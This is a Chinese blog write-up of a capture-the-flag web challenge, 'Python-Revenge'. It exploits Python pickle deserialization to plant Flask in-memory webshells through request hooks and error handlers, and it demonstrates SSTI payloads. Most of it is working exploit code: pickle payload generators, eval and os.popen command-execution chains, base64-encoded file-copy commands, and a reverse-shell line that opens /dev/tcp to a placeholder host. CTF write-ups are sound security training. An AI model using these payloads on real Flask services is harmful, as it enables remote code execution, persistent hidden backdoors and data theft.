Web-Python-Revenge-第二届黄河流域公安院校网络空间安全技能邀请赛

一、题目
题目:Python-Revenge
题目描述:
二、WriteUp
1. 功能探测
这道题也是python unserialize,是myfavorpython的revenge
同理还是需要python反序列化去打
2. payload模板如下,只需要更改cmd的内容
#根据官方wp得知,此题不再能出网,只能通过http端口进行连接
import pickle
import os
import base64
import pickletools

cmd = "__import__(\"os\").popen('bash -c \"/bin/bash -i >& /dev/tcp/ip/port 0>&1\"').read()"

class A(object):
    def __reduce__(self): #反序列化时自动调用
        return (eval,(cmd,)) 
a=A()
b=pickle.dumps(a)   #序列化
print(base64.b64encode(b))
pickletools.dis(b)  #反汇编pickle数据流的函数
3. 观察python源码
pythonweb flask框架
#由于没有接触过flask以及根据官方wp提示是python内存马
4. 初识flask
#查看flask版本
import flask
print(flask.__version__)

#或者在命令行中执行以下命令:
pip show flask
# flask demo route()方法
from flask import Flask
 
app = Flask(__name__)
 
@app.route('/') #启动后访问http://127.0.0.1
def hello_world():
    return 'Hello, World!'
 
if __name__ == '__main__':
    app.run(debug=True)
#add_url_rule()方法注册路由,使视图函数与URL建立关联
from flask import Flask

app = Flask(__name__)

def index_new():
    return f'<h1>这是首页1!</h1>'
 
# 通过add_url_rule()方法注册路由
app.add_url_rule(rule='/index1', view_func=index_new) #绑定视图函数

if __name__ == '__main__':
    app.run(debug=True)
add_url_rule需要的参数更多,但是使用更灵活,不需要和函数绑定在一起
也是falsk version1.0之前版本的内存马的核心函数

但是从Flask 1.0版本开始,应用程序处理其第一个请求后会冻结,这意味着任何对路由和视图函数的更改将不会被应用一致地,并且可能引发AssertionError异常。add_url_rule方法不再能够去动态注册路由
5. flask内存马新方法app.after_request_funcs.setdefault
#设置一个flask demo,尝试使用新内存马方法
# flask demo 设置了可执行python代码的函数eval
from flask import Flask,request, make_response
import os

app = Flask(__name__)

@app.route('/e')
def e():
    if request.args.get('cmd'):
        a = eval(request.args.get('cmd'))
    else:
        a = False
    if a :
        return "1"
    else:
        return "0"

if __name__ == '__main__':
    app.run(debug=True)
当我们访问下述路径,成功弹出calc.exe
http://127.0.0.1:5000/e?cmd=__import__("os").popen('calc.exe').read()
(1)before_request 是一个装饰器,它用于在请求处理之前执行特定的函数。
这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。

其底层源码调用self.before_request_funcs.setdefault(None, []).append(f),其作用为:
检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
如果没有 None 键,就在字典中创建它,并将其值设置为一个空列表。
然后,无论 None 键是否存在,都将函数 f 添加到这个列表中。

http://127.0.0.1:5000/e?cmd=app.before_request_funcs.setdefault(None, []).append(lambda: "123")
最终使http://127.0.0.1:5000/e这个路由增加了一个函数,lambda:"123",最终会返回123,但是lambda必然会有返回值,会影响正常的请求过程。
(2)使用@app.after_request,与@app.before_request类似,after_request会在请求结束得到响应包之后进行操作,查看底层源码可以看到其调用方法和before_request类似
self.after_request_funcs.setdefault(None, []).append(f)传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。

但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。

访问对应的url为http://127.0.0.1:5000/e?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd_we') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd_we\')).read())')==None else resp)
#函数内容
lambda resp: #传入参数 之前函数返回的response内容
    CmdResp if request.args.get('cmd_we') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global CmdResp;     #定义一个全局变量,方便获取
        CmdResp=make_response(os.popen(request.args.get(\'cmd_we\')).read())')==None   #创建一个响应对象
    else resp  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
然后我们访问http://127.0.0.1:5000/e?cmd_we=calc.exe就可以成功弹出计算器,还不影响正常业务
6. python ssti模板注入
# ssti模板demo
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world():  
    person = 'knave'
    if request.args.get('name'):
        person = request.args.get('name') #通过name给到person
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)

if __name__ == '__main__':
    app.run()
ssti模板注入的原理可以理解为通过控制传入模板的变量进行注入,当模板渲染时会执行传入的python代码,获取最终变量的值
payload基本模型:
url_for.__globals__['__builtins__']['eval'](python代码,全局变量)

#url_for.__globals__['__builtins__']
#url_for是Flask的一个内置函数, 通过Flask内置函数可以调用其__globals__属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules, 支持__builtins__.而__builtins又有eval函数

#通过下述demo验证上述原理
from flask import Flask, request, render_template_string,url_for

app = Flask(__name__)

@app.route('/')
def hello_world():  
    print(url_for) 
    print(url_for.__globals__) 
    print(url_for.__globals__['__builtins__'])

if __name__ == '__main__':
    app.run()
#访问下面的路径就可以成功命令执行
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc.exe')")}}
7. ssti注入+app.after_request_funcs.setdefault
#完整payload,app.add_url_rule仍能使用的前提下
url_for.__globals__['__builtins__']['eval'](
	"app.add_url_rule(
		'/shell', 
		'shell', 
		lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
		)
	",
	{
		'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
		'app':url_for.__globals__['current_app']
	}
)
第二个参数是一个字典,表示eval()函数执行时的全局命名空间。这个字典中包含了两个变量_request_ctx_stack和app
_request_ctx_stack是Flask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app

jinja2是不知道全局变量的,所以要传递给它
#ssti+app.after_request_funcs.setdefaultd的完整payload
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

#实际执行时报错
jinja2.exceptions.UndefinedError: 'dict object' has no attribute 'current_app'
感觉是jinja2的版本更新无法使用这个current_app属性了,我当前用的是jinja2 Version: 3.1.3

#更改我们自己的demo,然后主动传入curren_app
from flask import Flask, request, render_template_string,current_app

app = Flask(__name__)

# 上下文处理器,在每个请求之前将 current_app 传递给模板
@app.context_processor
def inject_current_app():
    return dict(current_app=current_app)

@app.route('/')
def hello_world():  
    person = 'knave'
    if request.args.get('name'):
        person = request.args.get('name') 
    
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)
#payload修改为
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':current_app})}}

#执行以下内容,成功执行命令
http://127.0.0.1:5000/?cmd=ipconfig
8. 观察题目源码
由于这道题是反序列化直接eval,所以不需要去做ssti注入,只需要我们在原路由上注册一个函数就可以,可以发现这里过滤掉了before和after,不能进行app.before和app.after函数添加了
# 将下面代码注释掉,下面的exp即可成功执行命令并进行回显
# if b'before' in decoded_data or b'after' in decoded_data: #这里说明如果没有过滤则有添加函数打法
#     results = "不可以添加函数!"
#     return render_template("index.html",results=results)
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen('whoami').read())",))

a = A()
b = pickle.dumps(a)
print(b)
print(base64.b64encode(b))
9. 再找其他钩子函数,teardown_request
app.teardown_request_funcs.setdefault() 是 Flask 应用程序对象的方法,用于注册在请求处理结束时执行的函数。如果在请求处理期间发生异常或者请求处理结束后需要进行清理工作,可以使用 teardown_request 函数来实现。

app.teardown_request_funcs.setdefault(None, []).append(f)) 同理before_request和after_request
但是f函数需要接收一个error,然后去处理error
app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为:cat flag.txt > /app/static/flag.txt,这里base64编码是过滤掉了第二个对static的过滤
然后去访问static/flag.txt即可拿到flag
import pickle
import base64

class Exp(object):
    def __reduce__(self):    
       return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
a = Exp()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
10. 官方wp给的erro_handle方法
每次app启动的时候,会调用到register_error_handler来进行初始化的设置
跟进源码找到了app.error_handler_spec[None][code][exc_class]可以设置handle的回调函数
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(base64.b64decode('Y2F0IGZsYWcq').decode()).read()",))
        #Y2F0IGZsYWcq cat flag*

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
global exc_class; global code; - 这两行代码声明了两个全局变量 exc_class 和 code,以便在后续的代码中使用。

exc_class, code = app._get_exc_class_and_code(404); - 这行代码调用了 app._get_exc_class_and_code() 方法,传入参数 404,并将返回的结果赋值给变量 exc_class 和 code。这个方法的作用是获取与给定的 HTTP 状态码(404)相关联的异常类和错误代码。

app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen('whoami').read()",) - 这行代码修改了应用程序的错误处理器,将其设置为一个匿名函数。这个函数调用了 os.popen() 方法执行系统命令 'whoami',并读取输出结果。换句话说,它尝试执行命令 'whoami' 并返回执行结果。(覆盖了原有的404处理函数返回页面)
成功后既可以访问不存在的路径得到flag
三、总结
1. 学习研究python flask框架
2. 学习研究python flask内存马
本质的原理是注册函数,或者是覆盖函数
(1)add_url_rule是在增加路由的基础上注册函数
(2)before_request/after_request/teardown_request都是在原路由上注册函数
(3)error_handle是在原有函数上覆盖函数

3. python ssti模板注入,之后要学习phpweb、javaweb、goweb的ssti模板注入
四、参考链接
1. python反序列化学习
https://blog.csdn.net/weixin_62808713/article/details/130048382

2. Python Flask内存马的另辟途径
https://xz.aliyun.com/t/14421?time__1311=mqmx9QD%3D0%3Di%3DLx05DIYYIp6EK6ge7KDCDPD

3. Python内存马分析
https://xz.aliyun.com/t/10933?time__1311=mq%2BxB70QD%3D9xlxGgrDyiDcQ0mPtrmWoD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14421%3Ftime__1311%3Dmqmx9QD%253D0%253Di%253DLx05DIYYIp6EK6ge7KDCDPD

4. 浅析python内存马
https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/

5. python flask上下文管理机制
https://www.cnblogs.com/fengchong/p/10256552.html

6. pythonweb flask开发应用
https://blog.csdn.net/weixin_69884785/article/details/134700929

7. flask内存马
https://blog.csdn.net/solitudi/article/details/115331388

8. add_url_rule()方法
https://blog.csdn.net/xujin0/article/details/97372499

9. 浅谈flask ssti 绕过原理
https://xz.aliyun.com/t/8029?time__1311=n4%2BxuDgDBAeDqxCqx0vw3oG8iS7RD3bD#toc-1

10. 第二届黄河流域网络安全技能挑战赛Web_wirteup 
https://www.cnblogs.com/F12-blog/p/18187951

11. 官方wp
https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450786867&idx=1&sn=cee2073ef77588f330719782639a34ad&chksm=b104fb1486737202453265d49c7e3f1d9e7007a55668d0591ad1d8a5dc29e4394d7fbdb1ec49&mpshare=1&scene=23&srcid=0514WktkQ2XUSpj4CMgKMofJ&sharer_shareinfo=8b1f821b450c89f5e16e90e56651c024&sharer_shareinfo_first=8b1f821b450c89f5e16e90e56651c024#rd
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值